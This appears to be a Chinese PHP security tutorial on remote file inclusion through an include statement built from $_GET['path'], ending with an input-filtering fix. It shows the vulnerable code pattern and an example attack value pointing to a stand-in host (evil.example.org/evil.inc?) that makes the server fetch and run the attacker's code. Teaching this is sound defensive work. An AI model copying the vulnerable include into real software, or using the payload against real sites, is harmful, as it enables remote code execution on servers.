PHP安全编程:文件包含的代码注入攻击

一个特别危险的情形是当你试图使用被污染数据作为动态包含的前导部分时:

[php]   view plain copy
  1. <?php  
  2.   
  3. include "{$_GET['path']}/header.inc";  
  4.   
  5. ?>  


在这种情形下攻击者能操纵不只是文件名,还能控制所包含的资源。由于PHP默认不只可以包含文件,还可以包含下面的资源(由配置文件中的allow_url_fopen所控制):

[php]   view plain copy
  1. <?php  
  2.   
  3. include 'http://www.google.com/';  
  4.   
  5. ?>  


include语句在此时会把http://www.google.com的网页源代码作为本地文件一样包含进来。虽然上面的例子是无害的,但是想像一下如果GOOGLE返回的源代码包含PHP代码时会如何。这样其中包含的PHP代码就会被解析并执行。这是攻击者借以发布恶意代码摧毁你的安全体系的良机。

想象一下path的值指向了下面的攻击者所控制的资源:

[php]   view plain copy
  1. <a href="http://example.org/index.php?pat" target="_blank">http://example.org/index.php?pat</a> ... e.org%2Fevil.inc%3F  


在上例中,path的值是URL编码过的,原值如下:http://evil.example.org/evil.inc?

这就导致了include语句包含并执行了攻击者所选定的脚本(evil.inc),同时原来的文件名/header.inc会被认为是一个请求串:

[php]   view plain copy
  1. <?php  
  2.   
  3. include "http://evil.example.org/evil.inc?/header.inc";  
  4.   
  5. ?>  


这样攻击者就避免了去猜测剩下的目录和文件名(/header.onc)并在evil.example.org上建立相同的路径和文件名的必要性。相反地,在受攻击网站的具体文件名被屏蔽的情况下,他只要保证evil.inc中输出合法的他想要执行的代码就行了。

这种情况与允许攻击者在你的网站上直接修改PHP代码一样危险。幸运的是,只要在include和require语句前对数据进行过滤即可防止这种情况的发生:

[php]   view plain copy
  1. <?php  
  2.   
  3. $clean = array();  
  4.   
  5. /* $_GET['path'] is filtered and stored in $clean['path']. */  
  6.   
  7. include "{$clean['path']}/header.inc";  
  8.   
  9. ?> 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值